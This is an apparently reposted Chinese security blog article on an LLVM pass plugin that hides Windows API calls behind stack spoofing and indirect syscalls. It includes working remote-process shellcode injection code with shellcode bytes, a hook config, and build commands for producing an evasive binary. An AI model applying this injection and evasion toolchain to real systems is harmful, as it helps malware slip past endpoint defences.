基于 LLVM Optimization Pass 的堆栈欺骗和 Indirect Syscall

admin 2024年1月26日09:55:15评论26 views字数 6164阅读20分32秒阅读模式

1. 概述

llvm-yx-callobfuscator[1] 是一个 LLVM Pass Plugin,它作用于 IR Optimization 的阶段,识别并替换 API 调用的 IR,非侵入式的为 API 调用增加「堆栈欺骗」和「Indirect Syscall」功能

项目分两个模块,CallObfuscatorHelpers 是运行时依赖的库,会被链接到二进制中,里面实现了分配函数、堆栈欺骗、Indirect Syscall 等功能;CallObfuscatorPlugin 则是 LLVM Pass 插件,用来解析修改 AST

下文以一段经典 shellcode 注入代码举例,通过该项目工具链重新编译,可以在不改写代码的情况下为 NTAPI 调用执行 Indirect Syscall,为普通 Win32 API 调用执行堆栈欺骗

2. 举个例子

一段经典 shellcode 注入


int main(int argc, char **argv) {    DWORD dwPid = 20256;    CHAR cSc[] = {        0x6a, 0x60, 0x5a, 0x68, 0x63, 0x61, 0x6c, 0x63, 0x54, 0x59, 0x48, 0x29,        0xd4, 0x65, 0x48, 0x8b, 0x32, 0x48, 0x8b, 0x76, 0x18, 0x48, 0x8b, 0x76,        0x10, 0x48, 0xad, 0x48, 0x8b, 0x30, 0x48, 0x8b, 0x7e, 0x30, 0x03, 0x57,        0x3c, 0x8b, 0x5c, 0x17, 0x28, 0x8b, 0x74, 0x1f, 0x20, 0x48, 0x01, 0xfe,        0x8b, 0x54, 0x1f, 0x24, 0x0f, 0xb7, 0x2c, 0x17, 0x8d, 0x52, 0x02, 0xad,        0x81, 0x3c, 0x07, 0x57, 0x69, 0x6e, 0x45, 0x75, 0xef, 0x8b, 0x74, 0x1f,        0x1c, 0x48, 0x01, 0xfe, 0x8b, 0x34, 0xae, 0x48, 0x01, 0xf7, 0x99, 0xff,        0xd7};
HANDLE hProcess = OpenProcess( PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_CREATE_THREAD, FALSE, dwPid);
PVOID pAddr = NULL; SIZE_T stLen = sizeof(cSc); NtAllocateVirtualMemory( hProcess, &pAddr, 0, &stLen, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
SIZE_T stWritten = 0; NtWriteVirtualMemory(hProcess, pAddr, cSc, sizeof(cSc), &stWritten);
DWORD dwOld = 0; NtProtectVirtualMemory(hProcess, &pAddr, &stLen, PAGE_EXECUTE_READ, &dwOld);
DWORD dwTid = 0; CreateRemoteThread(hProcess, NULL, 4 << 10, pAddr, NULL, 0, &dwTid);}


配置 callobfuscator.conf:


{    "dll_hooks": [        {            "dll_name": "kernel32.dll",            "hooked_functions": [                "OpenProcess",                "CreateRemoteThread"            ]        },        {            "dll_name": "ntdll.dll",            "hooked_functions": [                "NtAllocateVirtualMemory",                "NtWriteVirtualMemory",                "NtProtectVirtualMemory"            ]        }    ]}


编译并链接:


clang -O0 -Xclang -disable-O0-optnone -S -emit-llvm ./source/main.c -o ./build/irs/main.ll
LLVM_OBF_FUNCTIONS=./callobfuscator.conf opt -S -load-pass-plugin=../build/CallObfuscatorPlugin/CallObfuscatorPlugin.dll -passes=callobfuscator-pass ./build/irs/main.ll -o ./build/irs/main.obf.ll
opt -S -O3 ./build/irs/main.obf.ll -o ./build/irs/main.op.ll
llc --mtriple=x86_64-pc-windows-msvc -filetype=obj ./build/irs/main.op.ll -o ./build/objs/main.objclang ./build/objs/main.obj -o ./build/main.exe -L ../build/CallObfuscatorHelpers/ -l CallObfuscatorHelpers


3. 对比一下混淆前后的 IR

混淆前:


define dso_local i32 @main(i32 noundef %0, ptr noundef %1) #0 {  %3 = alloca i32, align 4  %4 = alloca ptr, align 8  %5 = alloca i32, align 4  %6 = alloca [85 x i8], align 16  %7 = alloca ptr, align 8  %8 = alloca ptr, align 8  %9 = alloca i64, align 8  %10 = alloca i64, align 8  %11 = alloca i32, align 4  %12 = alloca i32, align 4  store i32 %0, ptr %3, align 4  store ptr %1, ptr %4, align 8  store i32 20256, ptr %5, align 4  call void @llvm.memcpy.p0.p0.i64(ptr align 16 %6, ptr align 16 @__const.main.cSc, i64 85, i1 false)  %13 = load i32, ptr %5, align 4  %14 = call ptr @OpenProcess(i32 noundef 42, i32 noundef 0, i32 noundef %13)  store ptr %14, ptr %7, align 8  store ptr null, ptr %8, align 8  store i64 85, ptr %9, align 8  %15 = load ptr, ptr %7, align 8  %16 = call i32 @NtAllocateVirtualMemory(ptr noundef %15, ptr noundef %8, i64 noundef 0, ptr noundef %9, i32 noundef 12288, i32 noundef 64)  store i64 0, ptr %10, align 8  %17 = load ptr, ptr %7, align 8  %18 = load ptr, ptr %8, align 8  %19 = getelementptr inbounds [85 x i8], ptr %6, i64 0, i64 0  %20 = call i32 @NtWriteVirtualMemory(ptr noundef %17, ptr noundef %18, ptr noundef %19, i64 noundef 85, ptr noundef %10)  store i32 0, ptr %11, align 4  %21 = load ptr, ptr %7, align 8  %22 = call i32 @NtProtectVirtualMemory(ptr noundef %21, ptr noundef %8, ptr noundef %9, i32 noundef 32, ptr noundef %11)  store i32 0, ptr %12, align 4  %23 = load ptr, ptr %7, align 8  %24 = load ptr, ptr %8, align 8  %25 = call ptr @CreateRemoteThread(ptr noundef %23, ptr noundef null, i64 noundef 4096, ptr noundef %24, ptr noundef null, i32 noundef 0, ptr noundef %12)  ret i32 0}


混淆后:


@.str.__callobfuscator.kernel32.dll = internal constant [13 x i8] c"kernel32.dll0"@.str.__callobfuscator.ntdll.dll = internal constant [10 x i8] c"ntdll.dll0"@__callobf_functionTable = local_unnamed_addr global %_FUNCTION_TABLE <{ i32 6, i32 0, [6 x %_FUNCTION_TABLE_ENTRY] [%_FUNCTION_TABLE_ENTRY <{ i32 367519426, i32 0, i32 1, i32 0, ptr null }>, %_FUNCTION_TABLE_ENTRY <{ i32 -523343567, i32 0, i32 3, i32 0, ptr null }>, %_FUNCTION_TABLE_ENTRY <{ i32 -1590070805, i32 1, i32 6, i32 0, ptr null }>, %_FUNCTION_TABLE_ENTRY <{ i32 1742021977, i32 1, i32 5, i32 0, ptr null }>, %_FUNCTION_TABLE_ENTRY <{ i32 -1755699165, i32 1, i32 5, i32 0, ptr null }>, %_FUNCTION_TABLE_ENTRY <{ i32 -2130536344, i32 0, i32 7, i32 0, ptr null }>] }>@__callobf_dllTable = local_unnamed_addr global %_DLL_TABLE <{ i32 2, i32 0, [2 x %_DLL_TABLE_ENTRY] [%_DLL_TABLE_ENTRY <{ ptr @.str.__callobfuscator.kernel32.dll, ptr null }>, %_DLL_TABLE_ENTRY <{ ptr @.str.__callobfuscator.ntdll.dll, ptr null }>] }>
; Function Attrs: noinline nounwind uwtabledefine dso_local i32 @main(i32 noundef %0, ptr nocapture noundef readnone %1) local_unnamed_addr #0 { %3 = alloca [85 x i8], align 16 %4 = alloca ptr, align 8 %5 = alloca i64, align 8 %6 = alloca i64, align 8 %7 = alloca i32, align 4 %8 = alloca i32, align 4 call void @llvm.memcpy.p0.p0.i64(ptr noundef nonnull align 16 dereferenceable(85) %3, ptr noundef nonnull align 16 dereferenceable(85) @__const.main.cSc, i64 85, i1 false) %9 = tail call i64 (i32, ...) @__callobf_callDispatcher(i32 1, i32 42, i32 0, i32 20256) #2 %10 = inttoptr i64 %9 to ptr store ptr null, ptr %4, align 8 store i64 85, ptr %5, align 8 %11 = call i64 (i32, ...) @__callobf_callDispatcher(i32 2, ptr %10, ptr nonnull %4, i64 0, ptr nonnull %5, i32 12288, i32 64) #2 store i64 0, ptr %6, align 8 %12 = load ptr, ptr %4, align 8 %13 = call i64 (i32, ...) @__callobf_callDispatcher(i32 3, ptr %10, ptr %12, ptr nonnull %3, i64 85, ptr nonnull %6) #2 store i32 0, ptr %7, align 4 %14 = call i64 (i32, ...) @__callobf_callDispatcher(i32 4, ptr %10, ptr nonnull %4, ptr nonnull %5, i32 32, ptr nonnull %7) #2 store i32 0, ptr %8, align 4 %15 = load ptr, ptr %4, align 8 %16 = call i64 (i32, ...) @__callobf_callDispatcher(i32 5, ptr %10, ptr null, i64 4096, ptr %15, ptr null, i32 0, ptr nonnull %8) #2 ret i32 0}


混淆后的 IR 把 API 调用都替换为了 __callobf_callDispatcher 调用,该分派函数通过 __callobf_functionTable 表的索引拿到对应函数的 FUNCTION_TABLE_ENTRY 结构,该结构保存了 SSN 或函数名 hash


typedef struct _FUNCTION_TABLE_ENTRY{    DWORD hash;    DWORD moduleIndex;    DWORD argCount;    DWORD ssn; // As any other time that ssn is defined as a 4byte value, the               // lower bytes are set to either 0xFF or 0x00, and it means if               // it is actually a valid ssn. So we can check if the function               // is a syscall by checking if any of thos bits are set to 1.    PVOID functionPtr;} FUNCTION_TABLE_ENTRY, *PFUNCTION_TABLE_ENTRY;


如果是 NTAPI,则获取 SSN 并执行 Indirect Syscall;如果是普通 Win32 API,则通过 hash 导入并执行堆栈欺骗

对应的源码在

https://github.com/janoglezcampos/llvm-yx-callobfuscator/blob/main/CallObfuscatorHelpers/source/callDispatcher/callDispatcher.c#L105

感兴趣的读者可自行研究

References

[1] llvm-yx-callobfuscator: https://github.com/janoglezcampos/llvm-yx-callobfuscator

原文始发于微信公众号(0x4d5a):基于 LLVM Optimization Pass 的堆栈欺骗和 Indirect Syscall

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年1月26日09:55:15
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   基于 LLVM Optimization Pass 的堆栈欺骗和 Indirect Syscallhttp://cn-sec.com/archives/2432179.html

发表评论

匿名网友 填写信息